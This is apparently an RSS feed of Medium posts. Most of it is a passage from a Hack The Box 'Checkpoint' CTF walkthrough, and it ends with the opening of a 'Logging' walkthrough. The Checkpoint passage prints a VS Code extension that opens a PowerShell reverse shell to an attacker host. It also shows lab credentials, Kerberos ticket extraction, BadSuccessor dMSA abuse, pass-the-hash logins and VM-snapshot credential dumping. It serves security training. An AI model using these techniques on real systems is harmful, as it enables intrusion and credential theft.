README still contained template content.</p><p>I replaced it with a simple project description:</p><pre>## Features<br><br>Spawns a shell</pre><p>After updating the README, I ran the packaging command again:</p><pre>vsce package</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6BF8dmFqiXHn92xcFHwaMw.png" /><figcaption>Updating README File</figcaption></figure><p>The package was generated successfully nato-0.0.1.vsix</p><p>The packaging process reported warnings about missing repository and license metadata, but these did not prevent package generation.</p><h4>Testing the Extension Locally</h4><p>Before interacting with the target, I installed the extension locally:</p><pre>code --install-extension nato-0.0.1.vsix</pre><p>I started a listener:</p><pre>nc -lnvp 9001</pre><p>Then I launched VS Code.</p><p>The listener received a connection: connect to [10.10.14.162] from (UNKNOWN) [10.10.14.162] 50882</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StqmMP0jXobkwVVd-uGFTw.png" /><figcaption>Local Exploitation</figcaption></figure><ul><li>This confirmed that the extension’s connection logic worked locally.</li><li>However, the source and destination addresses were both the attack machine’s address. This was a local validation, not evidence of remote code execution on the target.</li><li>There was also an important compatibility consideration: the original implementation launched sh, which is not a suitable shell for a native <strong>Windows</strong> environment.</li><li>I therefore needed to adapt the implementation before deploying it to the Windows target.</li></ul><h3>Obtaining a Shell as Ryan Brooks</h3><p>After validating the extension locally, I modified the implementation to launch <strong>PowerShell</strong> instead of a Unix shell.</p><p>The updated extension.ts contained:</p><pre>// The module &#39;vscode&#39; contains the VS Code extensibility API<br>// Import the module and reference it with the alias vscode in your code below<br>import * as vscode from &#39;vscode&#39;;<br><br>// This method is called when your extension is activated<br>// Your extension is activated the very first time the command is executed<br>export function activate(context: vscode.ExtensionContext) {<br>    var net = require(&quot;net&quot;),<br>    cp = require(&quot;child_process&quot;),<br>    sh = cp.spawn(&quot;powershell.exe&quot;, []);<br>    var client = new net.Socket();<br>    client.connect(9001, &quot;10.10.14.162&quot;, function(){<br>        client.pipe(sh.stdin);<br>        sh.stdout.pipe(client);<br>        sh.stderr.pipe(client);<br>    });<br>    return /a/;<br>}<br><br><br>// This method is called when your extension is deactivated<br>export function deactivate() {}</pre><p>I then repackaged the extension:</p><pre>vsce package</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uA5v3RpT4xNdziXomLKn2g.png" /><figcaption>Repackaging the extension</figcaption></figure><h4>Starting the Listener</h4><p>I prepared a listener with rlwrap to improve interactive shell usability:</p><pre>rlwrap -cAr nc -lvnp 9001</pre><h4>Uploading the Extension to DevDrop</h4><p>Before uploading the package, I confirmed that the share was empty:</p><pre>smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c &#39;ls&#39;</pre><p>I then uploaded the extension:</p><pre>smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c &#39;put nato-0.0.1.vsix nato-0.0.1.vsix&#39;</pre><p>To confirm that the upload succeeded, I listed the share again:</p><pre>smbclient //checkpoint.htb/DevDrop -U mark.davies%Checkpoint2024! -c &#39;ls&#39;</pre><h4>Receiving the Reverse Shell</h4><p>After a short wait, the listener received a connection from the target.</p><p>I checked the current identity using whoami and the result was checkpoint\ryan.brooks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HtMjn1ESSG2VpmsCmDoBbA.png" /><figcaption>Getting a Shell as Ryan Brooks</figcaption></figure><ul><li>This confirmed that the extension deployment mechanism had resulted in code execution under the <strong>Ryan Brooks</strong> account.</li></ul><blockquote>The difference between a local test and the target test was now clear: the local test validated the extension’s connection behavior, while the remote connection confirmed execution in the target environment.</blockquote><h3>Retrieving the User Flag</h3><p>With a shell as <strong>Ryan Brooks</strong>, I navigated to the user’s Desktop and retrieved the flag:</p><pre>Set-Location C:\Users\ryan.brooks\Desktop</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TD2jWrpLdreexCD83urhLg.png" /><figcaption>Retrieving the User Flag</figcaption></figure><h3>Enumerating the Environment as Ryan Brooks</h3><p>Before moving further, I wanted to understand the resources accessible to the new identity.</p><p>The uploaded extension was located under the <strong>DevDrop</strong> directory under C:\shares.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CisbLz00dGt8zv68mQi-FQ.png" /><figcaption>Enumerating the Shares Directory</figcaption></figure><ul><li>I also attempted to enumerate VMBackups but this returned an <strong>access-denied</strong> error.</li><li>The backup remained inaccessible to <strong>Ryan Brooks</strong> as expected.</li></ul><p>At this point, the next logical step was to investigate Ryan’s Active Directory permissions and identify whether they exposed another escalation path.</p><h3>Investigating the BadSuccessor Attack Surface</h3><p><strong>Checkpoint</strong> was running Windows Server 2025, making it worthwhile to investigate the <strong><em>dMSA-related BadSuccessor </em></strong>attack surface.</p><p>From the <strong>Ryan Brooks</strong> shell, I inspected the operating system version:</p><pre>Get-ItemProperty &quot;HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GiLPEKOMcQLHA7a640KRWA.png" /><figcaption>Listing the Operating System Version</figcaption></figure><p>This confirmed that the target was running <strong>Windows Server 2025, Build 26100</strong></p><h4>Checking for BadSuccessor Support</h4><p>Back on my attack machine, I checked the available <strong>NetExec </strong>modules:</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; -L</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z9iv8qqmBtHEjtVK2-BbPw.png" /><figcaption>BadSuccessor Module</figcaption></figure><p>The output include a module name badsuccessor.</p><blockquote>Note: This requires an up to date version of <strong>NetExec</strong></blockquote><p>I executed the module (any user can do, in this scenario):</p><pre>nxc ldap DC01.checkpoint.htb -u alex.turner -p &#39;Checkpoint2024!&#39; -M badsuccessor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWJZF7OnHE5bt10eVqtZAw.png" /><figcaption>Executing the BadSuccessor Module</figcaption></figure><p>This provided indication that <strong>dMSA-related</strong> attack surface was relevant to the environment.</p><h4>Understanding BadSuccessor</h4><ul><li>Delegated Managed Service Accounts are designed to support managed service-account migration and succession.</li><li>BadSuccessor is a privilege escalation technique involving weaknesses in the handling fo <strong>dMSA succession relationships</strong>. Under vulnerable conditions, an attacker with suitable delegated permissions can create and manipulate a dMSA in a way that allows it to obtain authentication material associated with a <strong>superseded account</strong>.</li><li>The security implications depend on the permissions and configuration of the environment.</li><li>In this assessment, the objective was to determine whether Ryan Brooks had the necessary permissions over the relevant OU and service account.</li></ul><h3>Enumerating Ryan Brooks’ Active Directory Permissions</h3><p>I returned to BloodHound and examined <strong>Ryan Brooks’</strong> account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CPi2PjUhtjA1oq2alWqJhw.png" /><figcaption>Ryan Brooks Group Membership</figcaption></figure><p>His group memberships included:</p><ul><li><strong>DEVTEAM</strong></li><li><strong>VPN-USERS</strong></li><li><strong>DOMAIN USERS</strong></li></ul><p>More importantly, BloodHound identified GenericWrite over the svc_deploy service account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eii9PNqL1s7CWd0GRy_s1A.png" /><figcaption>Ryan Brooks GenericWrite over SVC_DEPLOY</figcaption></figure><p>I also inspected the groups associated with svc_deploy and identified:</p><ul><li><strong>BACKUPACCESS</strong></li><li><strong>REMOTEMANAGEMENT</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gPZYDjC0VvKYLFKJjqZLRQ.png" /><figcaption>svc_deploy Group Membership</figcaption></figure><p>This was particularly interesting because the <strong>VMBackups</strong> share had previously been inaccessible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ep-GCnji09D33cAIYV1fQ.png" /><figcaption>svc_deploy is a member of BackupAccess</figcaption></figure><ul><li>This suggested that if we pawned the svc_deploy account we might have access to the VMBackups share since they are a member of BackupAccess Group.</li></ul><h3>Preparing Kerberos Authentication with Rubeus</h3><p>Before executing the BadSuccessor operation, I prepared the necessary Kerberos authentication material.</p><p>I created a directory for the supporting executable:</p><pre>mkdir www &amp;&amp; cd www</pre><p>I downloaded <strong>Rubeus</strong> from <strong>SharpCollection</strong>:</p><pre>wget &quot;https://github.com/Flangvik/SharpCollection/raw/refs/heads/master/NetFramework_4.7_Any/Rubeus.exe&quot;</pre><p>I verified the file:</p><pre>file Rubeus.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8v7NGQodMMqcmiZCQESqpQ.png" /><figcaption>Downloading Rubeus</figcaption></figure><p>I started a temporary HTTP server from the directory:</p><pre> python -m http.server </pre><p>On the target, I downloaded Rubeus into C:\ProgramData:</p><pre>wget http://10.10.14.162:8000/Rubeus.exe -o Rubeus.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9RLYVCKP779v2uc53XsWvA.png" /><figcaption>Transferring Rubeus to the Target Machine</figcaption></figure><p>The file was successfully transfered.</p><h4>Extracting Kerberos Ticket</h4><p>On the target, I executed:</p><pre>./Rubeus.exe tgtdeleg /nowrap</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eA9Q0YR86W1hAuLlYRTGHg.png" /><figcaption>Getting a Kerberos Ticket</figcaption></figure><p><strong>Rubeus</strong> successfully performed the delegation request and extracted Kerberos ticket material from the delegation exchange.</p><p>I copied the Base64 output into a local file and decoded it:</p><pre>cat ryan.brooks.kirbi.b64 | base64 -d &gt; ryan.brooks.kirbi</pre><p>Then I parsed the resulting ticket:</p><pre>pypykatz kerberos kirbi parse ryan.brooks.kirbi</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3oGDyABaml303DR3WKuslw.png" /><figcaption>Preparing the Ticket</figcaption></figure><p>I converted the ticket into a credential cache:</p><pre>impacket-ticketConverter ryan.brooks.kirbi ryan.brooks.ccache</pre><p>Then I exported the cache:</p><pre>export KRB5CCNAME=ryan.brooks.ccache </pre><p>I then used <strong>BloodyAD</strong> to enumerate Active Directory objects and identify the permissions assigned to this account.</p><pre>bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get writable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMtE4TJVynnLi0RiC_xZxQ.png" /><figcaption>Using a Credential Cache to Get Writable Permissions for Ryan Brooks</figcaption></figure><p>The output revealed several interesting permissions, but two entries stood out:</p><ul><li>OU=DMSAHolder — permission: CREATE_CHILD: Ryan could create new objects within this OU. This would become particularly important when creating a Delegated Managed Service Account (dMSA).</li><li>CN=svc_deploy,OU=ServiceAccounts — permission: WRITE: Ryan had write permissions over the svc_deploy service account, making it a potential target for the dMSA succession attack.</li></ul><p>This findings exposed an interesting privilege escalation opportunity: Ryan could create a dMSA in the DMSAHOLDER OU and modify the relationship with svc_deploy. This provided the permissions needed to investigate the <strong>BadSuccessor dMSA abuse</strong> technique.</p><h3>Exploiting BadSuccessor</h3><p>With the relevant permissions identified and the Kerberos authentication context preparation, I proceeded with the <strong>BadSuccessor</strong> operation using <strong>BloodyAD</strong>.</p><pre>bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k add badSuccessor nato_dmsa --ou &#39;OU=DMSAHolder,DC=checkpoint,DC=htb&#39; -t &#39;CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb&#39;</pre><ul><li>add badSuccessor: invokes the BadSuccessor operation.</li><li>nato_dmsa: The name of the new dMSA.</li><li>— ou: The OU in which to create the dMSA.</li><li>-t: The target service account involved in the succession relationship.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gsj8vbkSA7GZhgAkZ989ew.png" /><figcaption>Exploiting BadSuccessor</figcaption></figure><ul><li>The operation reported that it created nato_dmsa$ under the DMSAHolder OU and used the svc_deploy account as the superseded account.</li><li>The output also included the newly generated dMSA key.</li><li>The previous RC4 key was particularly interesting because it was associated with the <strong>superseded account</strong>.</li><li>Given the attack context, I treated it as a candidate NT hash for svc_deploy.</li><li>However, a recovered key should not be considered confirmed until it has been validated against the actual account.</li></ul><h3>Pivoting to svc_deploy</h3><p>I used the recovered RC4 value to test authentication as svc_deploy.</p><h4>Validating the Recovered Hash</h4><p>First, I tested <strong>SMB authentication</strong>:</p><pre>nxc smb DC01.checkpoint.htb -u svc_deploy -H  &#39;e16081eb077aca74bdbf8af12af43ac9&#39;</pre><ul><li>The result confirmed successful authentication</li></ul><p>I then tested <strong>LDAP</strong>:</p><pre>nxc ldap DC01.checkpoint.htb -u svc_deploy -H  &#39;e16081eb077aca74bdbf8af12af43ac9&#39;</pre><ul><li>LDAP authentication also succeeded</li></ul><p>Finally, I tested WinRM:</p><pre>nxc winrm DC01.checkpoint.htb -u svc_deploy -H  &#39;e16081eb077aca74bdbf8af12af43ac9&#39;</pre><ul><li>WinRM authentication succeeded!</li></ul><p>The successful authentication across these services confirmed that the recovered RC4 value was usable as the account’s NT hash</p><h4>Enumerating svc_deploy Memberships</h4><p>I checked the account’s group memberships:</p><pre>bloodyad --host DC01.checkpoint.htb -d checkpoint.htb -k get membership svc_deploy </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Csmg5f1QK7jCvAWUJCaQ1Q.png" /><figcaption>Authentication and Group Membership Verification</figcaption></figure><p>The account belonged to:</p><ul><li><strong>Builtin Users</strong></li><li><strong>Remote Management Users</strong></li><li><strong>Domain Users</strong></li><li><strong>BackupAccess</strong></li></ul><p>Two memberships were particularly relevant:</p><ul><li><strong>Remote Management Users</strong> was consistent with the successful WinRM authentication.</li><li><strong>BackupAccess </strong>was a strong lead for investigating the previously inaccessible backup share.</li></ul><p>The next step was to enumerate SMB shares using the recovered account.</p><h3>Accessing the VMBackups Share</h3><p>I enumerated the shares again using the svc_deploy credentials:</p><pre>nxc smb DC01.checkpoint.htb -u svc_deploy -H  &#39;e16081eb077aca74bdbf8af12af43ac9&#39; --shares</pre><ul><li>This time, VMBackups showed read access. The previously inaccessible share was now available.</li></ul><h4>Enumerating the Backup Files</h4><p>I used smbclient to recursively list the contents:</p><pre>smbclient //checkpoint.htb/VMBackups -U svc_deploy --pw-nt-hash e16081eb077aca74bdbf8af12af43ac9 -c &#39;recurse;ls&#39;</pre><p>The output revealed a backup directory which had several VMware artifacts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WlvYcwwKtsCALR9VUe4fww.png" /><figcaption>Enumerating Shares as svc_deploy</figcaption></figure><p>The vmem file was particularly interesting because it represented the virtual machine’s memory contents.</p><p>A memory image can contain sensitive runtime information, including authentication artifacts that may not be available through ordinary filesystem enumeration.</p><p>This was potentially a much more valuable source of information than the virtual disk itself.</p><h3>Establishing an Interactive Shell as svc_deploy</h3><p>Since WinRM authentication had succeeded, I established an interactive session using Evil-WinRM:</p><pre>evil-winrm -i DC01.checkpoint.htb -u svc_deploy -H &#39;e16081eb077aca74bdbf8af12af43ac9&#39;</pre><p>Confirmation of identity revealed checkpoint\svc_deploy</p><h4>Enumerating the Share Directories</h4><p>I inspected the share structure:</p><pre>tree /f C:\Shares\</pre><p>The output confirmed the presence of:</p><ul><li>DevDrop, containing the uploaded VS Code extension.</li><li>VMBackups, containing the NightlyBackup_2024–11–01 directory and VMware artifacts.</li></ul><p>I navigated to the memory forensics directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVFA4tvkQXGS5R2dxt_N2g.png" /><figcaption>Veiwing the VMware Artifcats</figcaption></figure><p>The account now provided access to the backup artifacts that had been inaccessible during the earlier stages of the assessment.</p><h3>Preparing VMKatz</h3><p>The next objective was to analyze the VMware snapshot and identify whether it contained useful authentication material.</p><p>You can choose to download the VMware artficats and analyze them locally using a framework like Volatility (But this would take a significant amount of time).</p><p>Since downloading the snapshot would take a lot of time I decided to use vmkatz to analyze the snapshot remotely.</p><p>I donwloaded VMKatz from its Github release page:</p><pre>wget &quot;https://github.com/nikaiw/VMkatz/releases/download/v1.5.2/vmkatz-v1.5.2-windows-x86_64.zip&quot;</pre><p>I extracted the archive:</p><pre>7z x vmkatz-v1.5.2-windows-x86_64.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HF02A5pUzyI5DVN6WxKbEg.png" /><figcaption>Downloading and Extracting VMKatz</figcaption></figure><h4>Transferring VMKatz to the Target</h4><p>I started another temporary HTTP server:</p><pre>python -m http.server</pre><p>From the <strong>Evil-WinRM</strong> session, I downloaded the executable:</p><pre>wget http://10.10.14.162:8000/vmkatz.exe -o C:\ProgramData\vmkatz.exe</pre><ul><li>VMKatz was now available on the target and I could proceed with snapshot analysis.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sa4y7--RVyUpMy0JU3wCAQ.png" /><figcaption>Uploading VMKatz on the Target</figcaption></figure><p>Extracting Administrator Credentials from the VMware Snapshot</p><p>The most interesting file in the backup directory was the VMware snapshot state file: Windows Server 2019-Snapshot1.vmsn</p><p>I executed VMKatz against it from the existing Evil-WinRM session:</p><pre>C:\ProgramData\vmkatz.exe &quot;Windows Server 2019-Snapshot1.vmsn&quot;</pre><p>VMKatz began analyzing the image. It reported a memory constraint. Despite the warning, processing continued.</p><p>The tool performed system discovery, process enumeration and registry hive recovery</p><h4>Recovering SAM Hashes</h4><p>VMKatz recovered the system boot key and extracted SAM hashes.</p><p>The most important result was the has associated with RID 500, the built-in Administrator account.</p><h4>Examining LSA Secrets and Logon Sessions</h4><p>VMKatz also recovered LSA secrets, including <strong>DPAPI_SYSTEM</strong> and <strong>NL$KM</strong></p><p>It also identified three logon sessions, two of which contained credentials.</p><p>The relevant session belonged to the Administrator, which exposed the same NT hash recovered from the SAM database.</p><p>Although no plaintext password was recovered, the NT hash was sufficient to attempt <strong>Pass-the-Hash authentication</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qdbuCFYQBXrElgUJUOkpOQ.png" /><figcaption>Analzying the snapshot file</figcaption></figure><p>You can also use VMKatz to analyze the vmem file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ARSB6ntwQbVA4iRGHkJUgg.png" /><figcaption>Analyzing the vmem File</figcaption></figure><h3>Authenticating as Administrator</h3><p>With the Administrator NT hash recovered, I returned to Kali and tested it against the live domain controller.</p><p><strong>SMB Authentication</strong></p><pre>nxc smb DC01.checkpoint.htb -u administrator -H &#39;f29e9c014295b9b32139b09a2790be3b&#39;</pre><ul><li>The result confirmed successful authentication.</li></ul><p><strong>LDAP Authentication</strong></p><pre>nxc ldap DC01.checkpoint.htb -u administrator -H &#39;f29e9c014295b9b32139b09a2790be3b&#39;</pre><ul><li>LDAP authentication also succeeded.</li></ul><p><strong>WinRM Authentication</strong></p><pre>nxc winrm DC01.checkpoint.htb -u administrator -H &#39;f29e9c014295b9b32139b09a2790be3b&#39;</pre><ul><li>WinRM authentication succeeded as well.</li><li>The recovered hash was now validated across <strong>SMB</strong>, <strong>LDAP</strong> and <strong>WinRM</strong></li><li>This provided the access required to establish an interactive administrative session.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sjh2k2a0r7wEBMPXjqrLIw.png" /><figcaption>Autheticating Administrator’s Credentials</figcaption></figure><h3>Obtaining a Domain Administrator Shell</h3><p>I connected to the domain controller using Evil-WinRM:</p><pre>evil-winrm -i DC01.checkpoint.htb -u administrator -H &#39;f29e9c014295b9b32139b09a2790be3b&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1pnPxPh9eGzVnwe_LqPYUw.png" /><figcaption>Getting Administrator Shell</figcaption></figure><ul><li>The connection was successful.</li><li>I then moved to the Administrator profile and enumerated its contents. Interestingly, there was no root.txt file in the Administrator’s Desktop.</li><li>Having Domain Administrator access did not mean I could simply assume where the flag was stored. I continued enumerating the domain’s privileged users.</li></ul><h4><strong>Enumerating Domain Admins</strong></h4><p>I returned to BloodHound and used the <strong>Map Domain Admins</strong> query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yNYBaX0X6FBYJ62TjI_b8Q.png" /><figcaption>Mapping Domain Admins</figcaption></figure><p>The results showed that, in addition to the built-in Administrator, another user name max.palmer belonged to the Domain Admins Group</p><p>I verified this from the PowerShell session:</p><pre>Get-ADGroupMember -Identity &quot;Domain Admins&quot; | Select-Object Name, SamAccountName, ObjectClass</pre><h4>Retrieving the Root Flag</h4><p>I navigated to <strong>Max Palmer’s</strong> user profile:</p><pre>cd C:\Users\max.palmer</pre><p>Then I enumerated its contents:</p><pre>tree /f</pre><p>This time, the output revealed root.txt on the Desktop</p><p>I navigated to the Desktop and retrieved the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kfsaHo03A8XNo9xiZ92UkA.png" /><figcaption>Retrieving the Root Flag</figcaption></figure><h3>Conclusion</h3><p>Checkpoint was a great reminder that compromising an Active Directory environment doesn’t always require a flashy exploit. Sometimes, all it takes is a forgotten account, a little password reuse and permissions that probably deserved a second look.</p><p>From restoring deleted objects and hijacking a VS Code extension to abusing dMSA succession and extracting credentials from a VMware snapshot, every stage revealed another weakness in the environment. Eventually these discoveries led us from an ordinary domain user to full Domain Administrator access.</p><p>The biggest takeaway? <strong><em>Never understimate the power of enumeration and never assume deleted accounts, backup files or seemingly harmless permissions are harmless</em></strong>. In Checkpoint, even the backups had secrets to spill!</p><h3>Tools and Technologies Used</h3><h4>Network and Service Enumeration</h4><ul><li><strong>Nmap</strong> — Network Discovery, port scanning and service detection</li><li><strong>NetExec</strong> — SMB, LDAP and WinRM authentication testing and enumeration</li><li><strong>smbclient</strong> — SMB share enumeration and file operations</li></ul><h4>Active Directory Enumeration and Analysis</h4><ul><li><strong>RustHound-CE </strong>— Active Directory data collection for BloodHound</li><li><strong>BloodHound </strong>— Visualizing directory relationships and attack paths</li><li><strong>BloodyAD </strong>— Active Directory object and permission enumeration and manipulation</li><li><strong>krb5-user </strong>— Kerberos client utilities and authentication</li></ul><h4>Kerberos and Credential Analysis</h4><ul><li><strong>Rubeus </strong>— Kerberos ticket operations</li><li><strong>pypykatz</strong> — Parsing credential artifacts and Kerberos tickets</li><li><strong>VMKatz </strong>— VMware memory snapshot analysis</li></ul><h4>Application Development and Packaging</h4><ul><li><strong>Node.js</strong> — JavaScript runtime for extension development</li><li><strong>npm / npx</strong> — Package management and development tool execution</li><li><strong>Visual Studio Code </strong>— Extension development and testing</li><li><strong>vsce </strong>— Packaging VS Code extensions</li><li><strong>revshells </strong>— Reverse shell payload reference and generation</li></ul><h4>File Transfer and Remote Access</h4><ul><li><strong>Python </strong>— Temporary HTTP server for file transfer</li><li><strong>curl </strong>— Downloading resources</li><li><strong>wget</strong> — Downloading tools and transferring files</li><li><strong>Evil-WinRM </strong>— Interactive Windows remote management</li><li><strong>Netcat </strong>— Receiving TCP connections</li><li><strong>rlwrap </strong>— Improving Interactive shell usability</li></ul><h4>Supporting Utilities</h4><ul><li><strong>7z </strong>— Extracting downloaded archives</li><li><strong>file</strong> — Identifying file formats</li><li><strong>diff</strong> — Comparing enumeration results</li><li><strong>PowerShell </strong>— Windows enumeration and administration</li><li><strong>Git </strong>— Retrieving tools and source code</li></ul><h3>References</h3><h4>Active Directory and BadSuccessor Research</h4><ul><li><a href="https://specterops.io/blog/2025/05/27/understanding-mitigating-badsuccessor/">Understanding and Mitigating BadSuccessor — SpectreOps</a></li><li><a href="https://www.akamai.com/blog/security-research/badsuccessor-is-dead-analyzing-badsuccessor-patch">BadSuccessor Is Dead? Analyzing the BadSuccessor Patch — Akamai</a></li></ul><h4>VS Code Extension Development</h4><ul><li><a href="https://nodejs.org/en/download">Node.js — Download and Installation</a></li><li><a href="https://code.visualstudio.com/download">Visual Studio Code — Download</a></li><li><a href="https://code.visualstudio.com/docs/setup/linux?referrer=vsc-search">Visual Studio Code — Linux Installation</a></li><li><a href="https://code.visualstudio.com/api/get-started/your-first-extension">Your First VS Code Extension</a></li><li><a href="https://code.visualstudio.com/api/references/activation-events#onStartupFinished">Extension Activation Events</a></li><li><a href="https://code.visualstudio.com/api/working-with-extensions/publishing-extension">Publishing VS Code Extensions</a></li><li><a href="https://www.revshells.com/">Reverse Shell Generator — revshells</a></li></ul><h4>Windows Tools and Credential Analysis</h4><ul><li><a href="https://github.com/Flangvik/SharpCollection">SharpCollection — Flangvik</a></li><li><a href="https://github.com/nikaiw/VMkatz">VMKatz — GitHub</a></li></ul><h4>SMB Enumeration</h4><ul><li><a href="https://hackviser.com/tactics/tools/smbclient">smbclient — Hackviser</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1344111c7e9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Logging Writeup]]></title>
            <link>https://medium.com/@natius/htb-logging-writeup-dac81086f52a?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/dac81086f52a</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wsu]]></category>
            <category><![CDATA[adc]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Sun, 26 Jul 2026 16:29:01 GMT</pubDate>
            <atom:updated>2026-07-27T06:24:30.589Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o0Y8Ygxo5QopgG0HEJwffA.jpeg" /><figcaption>Logging Machine</figcaption></figure><p><strong>Logging </strong>is a Windows Active Directory machine that perfectly demonstrates how a chain of seemingly harmless misconfigurations can evolve into a complete domain compromise. Rather than relying on a single critical vulnerability, this box rewards careful enumeration, attention to detail, and a solid understanding of Active Directory internals.</p><p>Our journey begins with leaked credentials which only allow us to gain initial foothold. From there, we progressively enumerate the domain, uncover password management weaknesses, abuse delegated permissions over Group Managed Service Accounts (gMSAs), pivot through a managed service account, exploit an insecure software update mechanism, leverage Active Directory Certificate Services (AD CS) misconfigurations, and finally weaponize a rogue WSUS server to obtain administrative access to the Domain Controller.</p><p>If that sounds like a lot — trust me it is.</p><p>This machine is essentially a guided tour through several real-world Active Directory attack techniques, including:</p><ul><li>Initial credential discovery</li><li>LDAP and BloodHound enumeration</li><li>Password reset abuse</li><li>Group Managed Service Account (gMSA) exploitation</li><li>Scheduled task and application analysis</li><li>DLL hijacking through an insecure update process</li><li>Active Directory Certificate Services (AD CS) enumeration</li><li>ESC17 certificate abuse</li><li>WSUS Man-in-the-Middle attack</li><li>Privilege escalation to local administrator</li><li>Full domain compromise</li></ul><p>Throughout this walkthrough, every step is explained in detail — not only <em>what</em> commands are executed, but <em>why</em> they work, what assumptions are being made, and how each discovery naturally leads to the next stage of the attack. The goal is to understand the attack chain rather than simply reproduce it.</p><p>So grab your favorite beverage, fire up BloodHound, keep a second terminal ready (trust me, you’ll need it), and let’s see how a few overlooked permissions can snowball into complete control over an Active Directory environment.</p><p>After all, today’s “minor misconfiguration” has a habit of becoming tomorrow’s incident report.</p><h3>About Logging</h3><ul><li><strong>OS:</strong> Windows</li><li><strong>Difficulty:</strong> Medium</li><li><strong>Release Date:</strong> 18 Apr, 2026</li></ul><h3>Workspace Setup</h3><ul><li>We need a dedicated workspace to organize scans, downloaded files, credentials and notes, to ensure we remain organized throughout the engagement, so we’ll create the folder Logging, named after the 